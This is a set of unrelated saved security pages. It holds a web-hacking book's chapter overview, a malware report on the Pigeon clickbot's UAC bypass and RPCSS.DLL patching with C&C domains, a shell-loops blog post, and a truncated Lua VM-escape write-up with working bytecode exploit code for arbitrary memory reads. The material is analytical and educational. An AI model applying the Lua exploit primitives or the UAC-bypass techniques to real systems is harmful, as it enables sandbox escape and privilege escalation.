parameter pollution. The section on client-side privacy attacks has been
expanded to include storage mechanisms provided by browser extension
technologies and HTML5. Finally, a new section has been added drawing together
general attacks against web users that do not depend upon vulnerabilities in
any particular application. These attacks can be delivered by any malicious or
compromised web site, or by an attacker who is suitably positioned on the
network.

Chapter 14, “Automating Customized Attacks”, has been expanded to cover common
barriers to automation, and how to circumvent these. Many applications employ
defensive session-handling mechanisms that terminate sessions, use ephemeral
anti-CSRF tokens, or use multi-stage processes to update application state.
Some new tools are described for handling these mechanisms, which let you
continue using automated testing techniques. A new section examines CAPTCHA
controls, and some common vulnerabilities that can often be exploited to
circumvent them.

Chapter 15, “Exploiting Information Disclosure”, contains new sections about
XSS in error messages and exploiting decryption oracles.

Chapter 16, “Attacking Compiled Applications”, has not been updated.

Chapter 17, “Attacking Application Architecture”, contains a new section about
vulnerabilities that arise in cloud-based architectures, and updated examples
on exploiting architecture weaknesses.

Chapter 18, “Attacking the Application Server”, contains several new examples
of interesting vulnerabilities in application servers and platforms, including
Jetty, the JMX management console, ASP.NET, Apple iDisk server, Ruby WEBrick
web server, and Java web server. It also has a new section looking at
practical approaches to circumventing web application firewalls..

Chapter 19, “Finding Vulnerabilities in Source Code”, has not been updated.

Chapter 20, “A Web Application Hacker’s Toolkit”, has been updated with
details of the latest features in proxy-based tool suites. It contains new
sections about how to proxy the traffic of non-proxy-aware clients, and how to
eliminate SSL errors in browsers and other clients, caused by the use of an
intercepting proxy. There is a detailed description of the workflow that is
typically employed when you are testing using a proxy-based tool suite. There
is a new discussion about current web vulnerability scanners, and the optimal
approaches to using these in different situations.

# Analysis of a patched RPCSS.DLL | Malware Reports | Stop Malvertising
**Created:**| _5/8/2014 1:10:29 PM_  
---|---  
**Updated:**| _5/8/2014 1:10:29 PM_  
**Author:**| __  
**Tags:**| _reversing DLL patch-based_  
  

# Analysis of a patched RPCSS.DLL

Written by Kimberly on Monday, 21 April 2014. Posted in  Malware Reports
Viewed 1049 times

The threat described in this analysis patches **RPCSS.DLL** \(Remote Procedure
Call System Service\), a very important system DLL library located in the
System32 folder, to ensure persistence.

The library is a core service of RPC \(Remote Procedure Call\) and many
services depend on the RPC system service \(RPCSS\).

The threat is known under several names: **Pigeon** \- **Zekos** \-
**Win32/64.Viknok** or **Win32/64:Blackbeard** and runs on 32-bit and 64-bit
platforms.

After a forced reboot, the payload dropped by Pigeon simulates clicks on
advertisements, also known as click fraud, and contacts several C&C domains to
obtain a list of tasks. Additional modules may be downloaded.

Elevated privileges are needed in order to modify ownership and security
permissions of system files and to establish persistence in the OS. Pigeon has
different techniques to achieve this. If one function fails, another one is
used.

One technique is based on a **Windows 7 UAC whitelist POC**. The information
below describes in detail how Pigeon managed to replace RPCSS.DLL on Windows 7
with UAC enabled. The default account has administrator privileges.

First of all, Pigeon will start an instance of **Windows Explorer**
\(explorer.exe\) and inject its code into it. The newly created process will
have the PID 2696 in our analysis.

<img src='img/Temp2_599.jpg' alt='Analysis of a patched rpcss.dll' />

The spawned Windows Explorer process will:

  * Pick out a random DLL library from the System32 folder - AMSTREAM.DLL in our analysis.
  * Copy the file under a random name to the C:\Users\\\[user name\]\AppData\Roaming folder - QIQHI.DLL in our analysis.

The copied file is slightly different from the original as it will contain
injected code.

<img src='img/Temp2_597.jpg' alt='Analysis of a patched rpcss.dll' />

DllHost.exe, started by svchost.exe, will copy QIQHI.DLL as CRYPTBASE.DLL to
the C:\Windows\System32\sysprep folder.

<img src='img/Temp2_620.jpg' alt='Analysis of a patched rpcss.dll' />

The spawned Windows Explorer process will start an instance of SYSPREP.EXE.

<img src='img/Temp2_618.jpg' alt='Analysis of a patched rpcss.dll' />

The System Preparation tool \(Sysprep\) is used by administrators to deploy
Windows with a minimal of intervention. Sysprep.exe runs with administrative
rights and is also a whitelisted UAC application.

Upon execution Sysprep.exe loads a DLL called CRYPTBASE.DLL. The DLL resides
in the System32 folder but can’t be replaced because of the
**TrustedInstaller** permissions. The trusted installer group owns many system
files and access will be denied when moving or copying those files.

By design a process always tries to load a DLL from its own folder and falls
back to System32 if the DLL can’t be found in its own folder. There’s one
exception to this rule: DLL’s that are on the list of "Known DLLs" will always
be loaded from the System32 folder.

<img src='img/Temp2_614.jpg' alt='Analysis of a patched rpcss.dll' />

So instead of loading the legit CRYPTBASE.DLL, Sysprep.exe will now load the
fake CRYPTBASE.DLL located in its own folder. Sysprep.exe is an elevated
process so everything loaded by its process runs also with elevated
privileges.

Sysprep.exe will:

  * Modify ownership and security permissions of RPCSS.DLL.
  * Read RPCSS.DLL.
  * Rename RPCSS.DLL under a random name - EXWVIS.UE in our analysis.
  * Dump a patched RPCSS.DLL and apply the file information from exwvis.uek so that RPCSS.DLL has the same date and time stamps as the real RPCSS.DLL.
  * Create a random named file in the System 32 folder - GZQFK.VIE in our analysis - which will be loaded by the patched RPCSS.DLL.

<img src='img/Temp2_606.jpg' alt='Analysis of a patched rpcss.dll' />

<img src='img/Temp2_619.jpg' alt='Analysis of a patched rpcss.dll' />

When Pigeon patches RPCSS.DLL, it needs to find a block full of zeroes and
replace it with its own code. The payload is 231 KB \(236,655 bytes\) and it’s
not possible to find such a large block of zeroes inside the DLL library.
RPCSS.DLL only contains a small stub which loads the encrypted payload from
the random named file in the System32 directory - GZQFK.VIE in our analysis.

<img src='img/Temp2_610.jpg' alt='Analysis of a patched rpcss.dll' />

The path to the payload in RPCSS.DLL is encrypted. **BD** often comes back in
the block of selected code below, which strongly indicates that the path could
be decrypted by XORing the selection with BD. The XOR key is random for each
binary.

<img src='img/Temp2_603.jpg' alt='Analysis of a patched rpcss.dll' />

Pigeon has a second technique to inject code into RPCSS.DLL. The binary
**RunLegacyCPLElevated.exe** is designed to provide backward compatibility by
allowing legacy Windows Control Panel plug-ins to run with full administrative
privileges. According to the default manifest, RunLegacyCPLElevated.exe is
part of the core operating system and runs with elevated permissions.

If a particular DLL file exports the **CPlApplet** function, it can be used as
a parameter when launching RunLegacyCPLElevated.exe. The problem with a
malformed / malicious CPL is that the user would see a prompt that Windows
\(and not a third party app\) needs elevated permissions. Once permission
granted, the code obtains administrative privileges.

Pigeon first picks out a random DLL library from the System32 folder -
ACLEDIT.DLL in our analysis. The file will be copied under a random name to
the %AppData%\Roaming folder - RTRRTR.DLL in our analysis.

<img src='img/Temp2_598.jpg' alt='Analysis of a patched rpcss.dll' />

Pigeon will repeat the same operation with ADAPTERTROUBLESHOOTER.EXE,
overwriting the previously created RTRRTR.DLL.

<img src='img/Temp2_616.jpg' alt='Analysis of a patched rpcss.dll' />

This time Pigeon will select ACCESSIBILITYCPL.DLL and copy the file as
RTRRTR.DLL. AccessibilityCpl is the the "Ease of access control panel".

<img src='img/Temp2_607.jpg' alt='Analysis of a patched rpcss.dll' />

Again the copied file is slightly different from the original as Pigeon
replaced certain bits of code with its own code.

<img src='img/Temp2_622.jpg' alt='Analysis of a patched rpcss.dll' />

Pigeon will start an instance of RunLegacyCPLElevated.exe with RTRRTR.DLL as a
parameter.

<img src='img/Temp2_621.jpg' alt='Analysis of a patched rpcss.dll' />

Depending on the UAC settings, the user might get a prompt to **Run a legacy
CPL elevated** , which is a Microsoft Windows program. Hard to say no isn’t
it? Most people would simply allow the app to run.

<img src='img/Temp2_617.jpg' alt='Analysis of a patched rpcss.dll' />

RunLegacyCPLElevated.exe will:

  * Read RPCSS.DLL
  * Load RTRRTR.DLL

<img src='img/Temp2_613.jpg' alt='Analysis of a patched rpcss.dll' />

Since the patching of RPCSS.DLL was already successful, the patching process
itself will not take place. If the Windows 7 UAC whitelist POC didn’t succeed,
RunLegacyCPLElevated.exe would proceed with the patching of RPCSS.DLL.

Sysprep.exe and RunLegacyCPLElevated.exe run under the Pigeon process as seen
in the screenshot below.

<img src='img/Temp2_615.jpg' alt='Analysis of a patched rpcss.dll' />

The following files with random file names have been created by Pigeon:

  * auud.ptb
  * czts.csw \(created by RunLegacyCPLElevated.exe after checking RPCSS.DLL\)
  * lxdoof.zbk \(contains a unique string\)
  * tyjfna.dyq
  * gzqfk.vie \(encrypted payload\)

These files will have different names each time the dropper runs. The other
files are static each time the threat runs, they could be unique identifiers.

<img src='img/Temp2_612.jpg' alt='Analysis of a patched rpcss.dll' />

The payload - GZQFK.VIE in our analysis - is only accessible by SYSTEM,
administrators / users can't move or delete the file.

<img src='img/Temp2_611.jpg' alt='Analysis of a patched rpcss.dll' />

Shortly after RPCSS.DLL has been patched, the computer undergoes a forced
reboot. The payload is now fully stealth without any registry keys and / or
files that might indicate a possible compromise of the system.

#### RPCSS.DLL

RPCSS.DLL runs under two different SVCHOST.EXE processes as seen below.

<img src='img/Temp2_608.jpg' alt='Analysis of a patched rpcss.dll' />

The encrypted payload - GZQFK.VIE in our analysis - runs under the svchost.exe
process with the PID 620 and so does CZTS.CSW.

<img src='img/Temp2_602.jpg' alt='Analysis of a patched rpcss.dll' />

The payload is decrypted in memeory. When dumping the content, several files,
domains and IPs appear. The files AHIQUA.DMG and MDYMKV.DQE are inexistent on
the HDD.

5.79.86.100 | clownkroner.com | flowmotion.com
<img src='img/Temp2_609.jpg' alt='Analysis of a patched rpcss.dll' />

Different URL structures are used:

  * /online/501/
  * /domains/501/
  * /task/501/
  * /rsd/501/1/2/1/0/

<img src='img/Temp2_601.jpg' alt='Analysis of a patched rpcss.dll' />

The SVCHOST.EXE process with the PID 1804 also contains injected code and the
IP 178.162.209.10.

<img src='img/Temp2_600.jpg' alt='Analysis of a patched rpcss.dll' />

The payload will first reach out to **178.162.209.10** followed by a POST to
**flowmotion.com**.

<img src='img/Temp2_605.jpg' alt='Analysis of a patched rpcss.dll' />

<img src='img/Temp2_604.jpg' alt='Analysis of a patched rpcss.dll' />

The clickbot is now fully functional.

#### References

«StartPrev**1****2**NextEnd»

# Command Line Kung Fu: Episode \#65: Feeling Loopy

**Created:**| _11/24/2009 7:21:55 PM_  
---|---  
**Updated:**| _11/24/2009 7:22:00 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#65: Feeling Loopy

Ed is back in the saddle again:  
  
Well, I'm back from my adventures on the other side of Planet Earth. Many
thanks to Tim Medin for holding down the Windows fort while I was away. He
really did an awesome job sparring with Hal\! In fact, Tim was so good that
we're going to have him work as a regular contributor here, adding his
thoughts from a PowerShell perspective to each episode. Before now, he'd throw
in his insights on occasion, but now he's a regular -- our very own Command
Line Kung Fu blog FNG, if you will. Oh, and Tim... don't forget to empty the
wastebaskets and scrub the bathroom floor before you leave tonight. No, you
don't haveto wear the maid's outfit. Hal just thought you'd like it.  
  
Anyway, where was I? Oh yeah, writing a new episode for this week.  
  
Faithful readers \(yes, both of you\) know that we often use various kinds of
loops in the commands we construct here. Individual commands are certainly
powerful, but to really mess up your computer, it's helpful to have
\_iteration\_, doing the same thing again and again with some subtle
variations, repeating a process to do the same thing again and again, with
some sutble variations. If you look at our episodes, I think about 80% of them
actually use some sort of loop. And that got me thinking. I have an intuitive
feel for what kinds of loops are available in cmd.exe and when to use each
kind. But, I'd like to learn more about the looping options within bash and
PowerShell, and what specific uses are best for each kind of loop. So, I
figured the easiest way for me to learn about bash and PowerShell looping was
to throw down some cmd.exe options, and invite my Kung Fu partners to respond
in kind. I'll show you mine... if you show me yours. So, here goes.  
  
In cmd.exe, we really have just one command that implements loops: FOR. Sadly,
we don't have a WHILE. I'm not going to talk about GOTO, which we do have, but
it is for scripts and not for individual commands, the relentless focus of our
blog. Within the FOR command, however, we have numerous different kind of
looping options. Let me explain each, and talk about what it's most useful
for. Depending on how you count, there are 5 or 6 different kinds of FOR
loops\! \(The 5 versus 6 depend on whether you consider a FOR /R, a FOR /D,
and a FOR /D /R to be two or three different kinds of loops.\) What was
Microsoft thinking? Well, when you only have a hammer, the whole world looks
like a nail... and with our FOR loops in cmd.exe, we can attack many different
types of problems.  
  
Note that each loop has a similar structure: a FOR statement, an iterator
variable, the IN component, a \(set\) that describes what we iterate over
\(and is always included inside of parentheses \(\)\), a DO clause, and a
command for our iteration.  
  
FOR /L loops: These are iterating counters, working their way through
integers. Sorry, but they don't work through fractions, letters, or words....
just integers. Their syntax is:  
  

[code]

    C:\> FOR /L %[var] in ([start],[step],[stop]) do [command]
    
[/code]

  
The %\[var\] is the iterator variable, a value that will change at each
iteration through the loop. You can use any one letter of the alphabet for
this variable, such as %a or %i. Most people use %i as the canonical variable,
unless there is a specific reason to use something else. Also, note that %i
and %I are different variables, which gives us a total of 52 possible
different letters, the upper case and lower case sets.  
  
So, if you want to count from 1 to 100, you could run:  
  

[code]

    C:\> FOR /L %i in (1,1,100) do @echo %i
    
[/code]

  
Or, if you want a loop that'll run forever, you start counting at 1, count in
steps of zero, and count all the way to 2:  
  

[code]

    C:\> FOR /L %i in (1,0,2) do @echo Infinite Loop
    
[/code]

  
FOR /L loops are useful any time you have to count \(obviously\) but also any
time you need the equivalent of a "while \(1\)" loop to run forever.  
  
I covered FOR /L loops first, because they are both very easy and very useful,
and I wanted to set them aside before we start covering loops that iterate
over objects in the directory structure, namely FOR, FOR /D, FOR /R, and FOR
/R /D.  
  
Plain ol' FOR loops: These loops iterate over files, with the iterator
variable taking on the value of the names of files you specify in the \(set\).
For example, to list all .ini files inside of c:\windows, you could run:  
  

[code]

    C:\> FOR %i in (c:\windows\*.ini) do @echo %i
    
[/code]

  
It's a little-known fact that the \(set\) in these file/directory FOR loops
can have a space-separated list of file specifiers, so you could get all of
the .ini files in c:\windows\\\*.ini and c:\windows\system32\\\*.ini by just
running:  
  

[code]

    C:\> FOR %i in (c:\windows\*.ini c:\windows\system32\*.ini) do @echo %i
    
[/code]

  
Now, you might think, "Dude... I can do that same thing with the dir command"
and you'd be right. But, there is another aspect of file-iterating FOR loops
that give us more flexibility than the dir command. By using a variation of
the iterator variable, we can get other information about files, including
their size, their date/time, their attributes and what not. Access to these
items is available via:  
  

[code]

       %~fi        - expands %I to a fully qualified path name  
      %~di        - expands %I to a drive letter only  
      %~pi        - expands %I to a path only  
      %~ni        - expands %I to a file name only  
      %~xi        - expands %I to a file extension only  
      %~si        - expanded path contains short names only  
      %~ai        - expands %I to file attributes of file  
      %~ti        - expands %I to date/time of file  
      %~zi        - expands %I to size of file
    
[/code]

  
So, we could list the file's name, attributes, and size by running:  
  

[code]

    C:\> FOR %i in (c:\windows\*.ini) do @echo %i %~ai %~zi
    
[/code]

  
FOR /D loops: These loops iterate through directories instead of files. So, if
you want all directory names inside of c:\windows, you could run:  
  

[code]

    C:\> FOR /D %i in (c:\windows\*) do @echo %i
    
[/code]

  
FOR /R loops: Ahhh... but you may have noted that neither the plain ol' FOR
loops nor the FOR /D loops listed above actually recurse through the directory
structure. To make them do that, you'd need to do a /R. The FOR /R loop has a
slightly different syntax, though, in that we need to specify a path before
the iterator variable to tell it where to start recursion. By itself, FOR /R
recurses the directory structure, pulling out files names:  
  

[code]

    C:\> FOR /R c:\windows %i in (*.ini) do @echo %i
    
[/code]

  
That one will go through c:\windows and find all .ini files, displaying their
names.  
  
Now, what if you want just directories and not files? Well, you do a FOR /D
with a /R, as follows:  
  

[code]

    C:\> FOR /D /R c:\windows %i in (*) do @echo %i
    
[/code]

  
This will list all directories inside of c:\windows and its subdirectories.  
  
And that leaves us with the most complex kind of FOR loop in all of Windows.  
  
FOR /F loops: These loops iterate through... uhhh... stuff. Yeah, stuff. The
syntax is:  
  

[code]

    C:\> FOR /F ["options"] %[var] IN (stuff) DO [command]
    
[/code]

  
The stuff can be all manner of things. If the \(stuff\) has no special
punctuation around it, it's interpreted as a file set. But, the file set will
be iterated over in a different manner than what we saw with plain ol' FOR
loop and even FOR /R loops. With FOR /F, you'll actually iterate over each
line of the \_contents\_ of every file in the file set\! The iterator variable
will take on the value of the line, which you can then do all kinds of funky
stuff with, searching for specific text, parsing it out, using it as a
password, etc.  
  
If we specify the stuff with double quotes, as in \("stuff"\), the FOR /F loop
will interpret it as a string, which we can then parse.  
  
If we specify the stuff with single quotes, as in \('stuff'\), the FOR /F loop
will interpret stuff as a command, and run the command, iterating on each line
of output from the command.  
  
Regardless of the stuff \(whether it be files, a string, or a command\), we
can parse the iterator variable using those "options" in the FOR /F loop. I
covered that parsing in more detail in Episode \#48, Parse-a-palooza, and I
won't repeat it here. There's also some examples of FOR /F in action there.  
  
Suffice it to say, though, that if you master each of these FOR loops, you are
rockin' and rollin' at the cmd.exe command line\!  
  
  
Tim, reporting for duty, Sirs\!  
  
After washing Ed's car and mowing Hal's lawn, they sent me on a hunt to find a
_strings_ command in the standard Windows shell. I haven't found it yet, but
I'll keep looking after I finish painting. Anyway, back to the hazing, er,
episode.  
  
PowerShell also has five or six different types of loops. The difference is
that they aren't all named FOR, and we do have the _While_ loop. The available
loop types are:  

[code]

    Do While  
    While  
    Do Until  
    For  
    ForEach-Object (& ForEach statment)
    
[/code]

  
  
The first three loops are very similar so I'll cover them together. Also,
since you are reading a blog such as this I'll assume you have at least a
fundamental understanding of programming and understand control flow so I
won't go into great depth on the basics.  
  
While, Do While, and Do Until loops  
  
Do While Loop  

[code]

    do {code block} while (condition)
    
[/code]

  
Execute "while" the condition is true.  
  
While Loop  

[code]

    while (condition) {code block}
    
[/code]

  
Same as above, except the condition is checked before the block is executed,
the control structure is often also known as a pre-test loop  
  
Do Until Loop  

[code]

    do {code block} until (condition)
    
[/code]

  
Executes "until" the condition is true. In other words it runs while the
condition value is False.  
  
These loops are much more commonly used in scripts and not in one-liner
commands. However, I use the following command to beep when a host goes down
\(drops four pings\).  
  

[code]

    PS C:\> **do {ping 10.10.10.10} while ($?); write-host `a**
    
[/code]

  
  
...and this command to let me know when a host comes back up \(four successful
pings in a row\)  
  

[code]

    PS C:\> **do {ping 10.10.10.10} until ($?); write-host `a**
    
[/code]

  
  
The $? variable contains a boolean value which represents the result status of
the previous command. A true value indicates the command completed
successfully. The first loop continues to run while the ping command result is
successful. The second loops runs until the ping command is successful. After
exiting either loop the  _write-host \`a_ command produces the beep. Note, the
\`a uses a back quote, not the standard single quote.  
  
For loop  
The standard use of the For statement is to run the code block a specified
number of times.  
  

[code]

    for (initialization; condition; repeat) {code block}
    
[/code]

  
  
If we wanted to count to 100 by 2's we could use this command.  

[code]

    PS C:\> **for ($a=2; $a -le 100; $a=$a+2) {echo $a}**  
     2  
    4  
    6  
    ...
    
[/code]

  
  
So far nothing new, but now it gets cool.  
  
ForEach-Object  
ForEach-Object is a looping cmdlet that executes in the pipeline and uses $\_
to reference the current object. The ForEach-Object cmdlet is the most
powerful and most commonly used loop in PowerShell. It is used so much that it
is given the single character alias %. Here is the typical syntax of the
ForEach-Object cmdlet:  
  

[code]

    ... | ForEach-Object { script block } ...
    
[/code]

  
  
Let's use it to view the contents of all the files in the current directory:  
  

[code]

    PS C:\> **Get-ChildItem | ForEach-Object { Get-Content $_ }**
    
[/code]

  
Shorter versions using built-in aliases:  

[code]

    PS C:\> **dir | % { gc $_ }**  
     PS C:\> **gci | % { gc $_ }**
    
[/code]

  
  
This command gets the files in the current directory using Get-ChildItem.
Within our script block the current file is referenced by $\_, the current
pipeline variable. In our script block, denoted with the curly braces "\{\}",
we call the Get-Content cmdlet on the current file. The loop automatically
handles iterating through the objects passed down the pipeline and we get the
contents of all the files.  
  
With the addition of PowerShell to the regularly scheduled programming, you
will see the ForEach cmdlet used regularly in the coming weeks.  
  
ForEach  
The ForEach statement is very similar to the ForEach-Object. The differences
are formatting, performance, and memory utilization.  
  
The formatting is different, but no so much different that it should be
confusing.  
  

[code]

    ForEach ($item in $collection) {command_block}
    
[/code]

  
  
If we rewrote the example above using the ForEach statment this is how it
would look:  
  

[code]

    PS C:\> **ForEach ($f in Get-ChildItem) { Get-Content $f }**
    
[/code]

  
  
Not a huge difference. The big difference comes with the resource usage.
ForEach will load the entire collection in to memory before executing the
script block, and it is usually a bit faster if it doesn't have to load
something too large. Conversely, the ForEach-Object cmdlet will process it as
it receives it.  
  
If we use each method to multiple the numbers from 1 to 100,000 by the number
2 we can see that the ForEach cmdlet is 30 times faster. In short, the reason
for the speed difference is that the ForEach is run as a single function
instead of three or more functions.  
  

[code]

    PS C:\> **Measure-Command { 1..100000 | %{$_*2} } |  
            select TotalMilliseconds**  
    TotalMilliseconds  
    -----------------  
            5471.2111  
      
    PS C:\> **Measure-Command { foreach ($i in (1..100000) ){$i*2} } |  
            select TotalMilliseconds**  
    TotalMilliseconds  
    -----------------  
             177.7249
    
[/code]

  
  
This difference is much less noticeable when there are other factors involved,
such as disk access, rather than just pure computing power. Here is a similar
test when accessing the Windows Security Event Log.  
  

[code]

    PS C:\> **measure-command {get-eventlog -logname security |  
            % {echo $_.eventid}} | select TotalMilliseconds**  
    TotalMilliseconds  
    -----------------  
            1559.6163  
      
    PS C:\> **measure-command {foreach ($i in get-eventlog -logname  
            security) { echo $i.eventid}} | select TotalMilliseconds**  
    TotalMilliseconds  
    -----------------  
            1500.1738
    
[/code]

  
  
I use ForEach-Object with the Get-EventLog cmdlet so my results are displayed
as soon as they are processed and the time difference isn't as great.
Personally, I think the ForEach-Object is more readable and is much easier to
tack on to the end of an existing command.  
  
I look forward to showing more PowerShell tips in the coming weeks. Now back
to polishing Hal's car.  
  
Hal finishes up:  
  
Bash looping constructs are actually very simple: there's essentially two
different types of for loops plus while loops and that's it. The most common
type of loop in command-line tasks is the simple "for <var> in <list of
values> ..." type loop:  
  

[code]

    for f in *.gz; do  
        echo ===== $i  
        zcat $i | grep -i pattern  
    done
    
[/code]

  
The trick is that the "<list of values>" can be pretty much anything you can
imagine, because Unix makes command output substitution so natural. For
example, here's one of our previous solutions from Episode \#56: Find the
Missing JPEG:  
  

[code]

    for i in $(seq -w 1 1300); do [ ! -f $i.jpg ] && echo $i.jpg; done
    
[/code]

  
You can have the for loop iterate over a directory structure simply by having it iterate over the output of a find command, though usually "find ... -exec ..." or "find ... | xargs ..." suffices instead of a loop. In any event, the ability to do arbitrary command substitution for the list of values the for loop iterates over is why bash only needs a single simple for loop construct rather than separate "for /D", "for /R", etc like Windows does.  
  
Bash does have a C-style for loop for iterating over a series of numbers. For
example, here's the alternate solution from Episode \#56 that doesn't require
the seq command:  
  

[code]

    for ((i=1; $i <= 1300; i++)); do file=$(printf "%04d.jpg" $i); \  
        [ ! -f $file ] && echo $file; done
    
[/code]

  
On systems that have seq, I actually find it easier to type "for i in $\(seq
...\); do ..." than the C-style for loop, but your mileage, as always, may
vary.  
  
The other loop construct that bash has is a while loop. The simplest kind of
while loop is an infinite loop. For example, there's our first solution in
Episode \#3 for watching the file count in a directory:  
  

[code]

    while :; do ls | wc -l; sleep 5; done
    
[/code]

  
The ":" in this context is a special marker in bash that always evaluates to
true.  
  
However, you can use any conditional expression in the while loop that you
wish. One example is the common idiom for reading data out of a file:  
  

[code]

    while read l; do ...; done </path/to/some/file
    
[/code]

  
In this case, the read command returns true as long as it is able to read a
line from the input file. When EOF is reached, read returns false and the loop
terminates.  
  
Here's another example with a more general conditional statement at the top of
the loop. This little bit of code tries to periodically unmount a busy file
system. It will continue to iterate until the umount command actually succeeds
and the mount point no longer appears in the output of df:  
  

[code]

    umount $MOUNTPT  
    while [[ "X$(df -P $MOUNTPT | grep $MOUNTPT)" != "X" ]]; do  
            sleep 10  
            umount $MOUNTPT  
    done
    
[/code]

  
  
What a lot of folks don't know is that bash also has an "until" loop. But
until loops are really just while loops where the condition has been negated.
So we could use an until loop to rewrite the example above very easily:  
  

[code]

    umount $MOUNTPT  
    until [[ "X$(df -P $MOUNTPT | grep $MOUNTPT)" = "X" ]]; do  
            sleep 10  
            umount $MOUNTPT  
    done
    
[/code]

  
The only changes are replacing "while" with "until" and "\!=" with "=".  
  
There are also other commands in Unix that are essentially implicit iteration
operators: find which iterates over a list of directories, xargs which
iterates over a list of input values, and sed and awk which iterate over the
lines of a file. Very often you can use these operators instead of a
traditional for or while loop.

  

# Analysis of VM escape by using LUA script - Drops

**Created:**| _3/22/2016 1:28:24 PM_  
---|---  
**Updated:**| _3/22/2016 1:28:24 PM_  
**Author:**| __  
**Tags:**| __  
  

Author: boywhp@126.com

From: http://drops.wooyun.org/tips/12677

# 0x00 LUA Data Breaches

Lua provides a string.dump that is used to dump a lua function into a LUA
bytecode. And the loadingstring function is able to load a bytecode into a LUA
function. Through manipulating LUA raw bytecodes, the LUA interpreter will be
made into a special state and bugs will rise.

[code]

    asnum = loadstring(string.dump(function(x)
      for i = x, x, 0 do
        return i
      end
    end):gsub("\96%z%z\128", "\22\0\0\128"))
    
[/code]

The length of LUA bytecode is fixed with 32 bits, i.e.4 bytes, defined as:

It’s comprised of opcodes, R\(A\), R\(B\), R\(C\), R\(Bx\) and R\(sBx\) where
A, B and C each represent an index of LUA registers.

The asnum function can transform any LUA objects to numbers \(note: under
LUA5.1 64bitLinux\). The gsub function uses bytecode `\22\0\0\128` to replace
`\96%z%z\128`, as shown below:

[code]

    0071  60000080           [4] forprep    1   1        ; to [6]
    0075  1E010001           [5] return     4   2      
    0079  5F40FF7F           [6] forloop    1   -2       ; to [5] if loop
    
[/code]

Aftere executing the gsub function, the forprep instruction is replaced as JMP
to \[6\] and the following shows the corresponding code for the foreprep
instruction in LUA interpreter:

[code]

    case OP_FORPREP: {
            const TValue *init = ra;
            const TValue *plimit = ra+1;
            const TValue *pstep = ra+2;
            L->savedpc = pc;  /* next steps may throw errors */
            if (!tonumber(init, ra))
              luaG_runerror(L, LUA_QL("for") " initial value must be a number");
            else if (!tonumber(plimit, ra+1))
              luaG_runerror(L, LUA_QL("for") " limit must be a number");
            else if (!tonumber(pstep, ra+2))
              luaG_runerror(L, LUA_QL("for") " step must be a number");
            setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep)));
            dojump(L, pc, GETARG_sBx(i));
            continue;
    
[/code]

Under normal circumstances of LUA, the forprep instruction will check if the
parameter is number-type and execute initialization. However, since bytecodes
are replaced to JMP, the check for LUA types is skipped and execution directly
enters into the forloop instruction.

[code]

    case OP_FORLOOP: {
            lua_Number step = nvalue(ra+2);
            lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */
            lua_Number limit = nvalue(ra+1);
            if (luai_numlt(0, step) ? luai_numle(idx, limit)
                                    : luai_numle(limit, idx)) {
              dojump(L, pc, GETARG_sBx(i));  /* jump back */
              setnvalue(ra, idx);  /* update internal index... */
              setnvalue(ra+3, idx);  /* ...and external index */
            }
            continue;
          }
    
[/code]

The forloop instruction will directly transform the loop parameters to Lua
Number \(double\) and perform add operation \(+0\), and then execute dojump
return; finally, it returns lua Number.

LUA uses TValue to represent generic data objects using the following format:

Value\(64bit\)  |  tt\(32bit\)  |  padd\(32bit\)   
---|---|---  
n  |  `LUA_TNUMBER` |   
`GCObject *gc; -> TString*` |  `LUA_TSTRING` |   
`GCObject *gc; -> Closure*` |  `LUA_TFUNCTION` |   
# 0x01 LUA arbitrary memory access \(read/ write\)

[code]

    read_mem = loadstring(string.dump(function(mem_addr) 
      local magic=nil
      local function middle()
        local f2ii, asnum = f2ii, asnum
        local lud, upval
        local function inner()
          magic = "01234567"
          local lo,hi = f2ii(mem_addr)
          upval = "commonhead16bits"..ub4(lo)..ub4(hi)
          lo,hi = f2ii(asnum(upval));lo = lo+24
          magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
        end
        inner()
        return asnum(magic)
      end
      magic = middle()
      return magic
    end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))  --> move 0,3
    
[/code]

Check the external function first. Here is its corresponding LUA bytecodes.

[code]

    0785  A4000000           [1] closure    2   0        ; 2 upvalues
    0789  00008000           [2] move       0   1      
    078D  00000000           [3] move       0   0      
    0791  C0000001           [4] move       3   2      
    0795  DC808000           [5] call       3   1   2  
    0799  40008001           [6] move       1   3      
    079D  5E000001           [7] return     1   2
    
[/code]

This is the first instance \(or closure\) that LUA uses the CLOSURE A Bx
instruction to create a function. Bx is the function number that represents a
function to be instantiated in the function prototype table.

closure 2 0: create No. 0 function object and save the results to No. 2
register. The following shows the specific code:

[code]

    case OP_CLOSURE: {
            Proto *p;
            Closure *ncl;
            int nup, j;
            p = cl->p->p[GETARG_Bx(i)];
            nup = p->nups;
            ncl = luaF_newLclosure(L, nup, cl->env);
            ncl->l.p = p;
            for (j=0; j<nup; j++, pc++) {
              if (GET_OPCODE(*pc) == OP_GETUPVAL)
                ncl->l.upvals[j] = cl->upvals[GETARG_B(*pc)];
              else {
                lua_assert(GET_OPCODE(*pc) == OP_MOVE);
                ncl->l.upvals[j] = luaF_findupval(L, base + GETARG_B(*pc));
              }
            }
            setclvalue(L, ra, ncl);
            Protect(luaC_checkGC(L));
            continue;
          }
    
[/code]

Within LUA, it uses Proto data structure to represent function prototype and
record some basic information about a function. LUA uses UpVal data structure
to record the reference for external arguments of the current function. For
example:

[code]

    function parent()
      local upval=nil
      function child() upval="child" end
      child()
      print(upval) --output string child
    end
    
[/code]

A parent function defines a local argument upval and a child function directly
uses this argument, Meanwhile, the parent function initializes the upval table
while create a closure. When LUA interpreter generates the CLOSURE A Bx
instruction, MOVE 0,B pseudo instruction will be automatically inserted and
R\(B\) is instructed to bring into the Upval register number of the child
function.

[code]

    0785  A4000000           [1] closure    2   0        ; 2 upvalues
    0789  00008000           [2] move       0   1      
    078D  00000000           [3] move       0   0      
    0791  C0000001           [4] move       3   2     --R(3) = R(2)
    0795  DC808000           [5] call       3   1   2  --Call R(3)
    
[/code]

Execute `gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))` \[%1 refers to the
first matching item\]. Replace `move 0 1` to `move 0 3`, but register 3
represents a CLOSURE object. Therefore, the magic of middle functions and
inner functions actually execute the object of middle functions.

LUA uses CALL A B C bytecode instruction to handle function calls. Register
R\(A\) holds the reference to the function object to be called. The reference
parameter is placed in the register that follows after RA. The number of
